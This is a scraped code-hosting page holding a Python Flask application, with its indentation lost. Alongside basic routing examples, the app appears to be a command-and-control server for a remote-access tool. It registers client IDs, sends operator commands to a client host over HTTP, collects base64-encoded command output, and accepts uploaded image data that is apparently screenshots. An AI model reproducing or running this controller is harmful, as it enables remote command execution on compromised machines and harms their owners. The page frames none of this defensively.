代码拉取完成,页面将自动刷新
import requests
import socket
from flask import Flask,redirect, url_for,request,render_template
import os
import time
import base64
app = Flask(__name__)
#flask中对于变量的使用<>
host = None
#flask中对于重定向的使用 import redirect return redirect(url_for())
@app.route('/admin')
def hello_admin():
return 'Hello Admin'
@app.route('/guest/<guest>')
def hello_guest(guest):
return 'Hello %s as Guest' % guest
@app.route('/user/<name>')
def user(name):
if name =='admin':
return redirect(url_for('hello_admin'))
else:
return redirect(url_for('hello_guest',guest = name))
#表单操作
@app.route('/success/<name>')
def success(name):
return 'welcome %s' % name
@app.route('/login',methods = ['POST', 'GET'])
def login():
if request.method == 'POST':
user = request.form['name']
return redirect(url_for('success',name = user))
else:
user = request.args.get('name')
return redirect(url_for('success',name = user))
#list ------> activate ------> cmd
@app.route('/activate/<name>',methods=['GET'])
def activate(name):
return render_template('cmd.html',data=name)
@app.route('/cmd/<name>',methods=['GET'])
def cmd(name):
if request.method == "GET":
f = open('result.txt','w')
f.write('')
f.close()
cmd = request.args.get('name')
requests.get('http://'+name+'/cmd/'+cmd)
return redirect(url_for('result',result = cmd))
@app.route('/result/',methods=['GET','POST'])
def result():
if request.method == "POST":
f = open('result.txt','a')
result = request.form['name']
# 这里做加密 下面的cmd假设是加密后的密文
f.write(str(base64.b64decode(result), "utf-8"))
f.close()
return redirect(url_for('print_result'))
@app.route('/print_result/')
def print_result():
f = open('result.txt')
content = f.read()
f.close()
#试试写在这里 也就是文件读取之后再做解密
#bcontent = str(base64.b64decode(content), "utf-8")
return render_template('result.html',content=content)
@app.route('/info/',methods=['GET','POST'])
def info():
flist = open("list.txt",'r')
uid = request.form['uid']
fcontent = flist.readlines()
flist.close()
if uid not in fcontent:
f = open("list.txt",'a')
f.write(uid+'\r\n')
f.close()
return redirect(url_for('print_info'))
@app.route('/print_info/')
def print_info():
uidf = open('list.txt')
uid = uidf.readlines()
uidf.close()
return render_template('list.html',uid=uid)
@app.route('/index/')
def index():
f = open('list.txt','r')
uid = f.read()
if uid != None:
return render_template('cmd.html')
else:
return uid
@app.route('/upload/',methods=['POST'])
def upload():
if request.method == 'POST':
content = request.get_data()
f = open('2.bmp','wb')
f.write(content)
f.close()
return 0
if __name__ == '__main__':
app.run('0.0.0.0',90)
此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。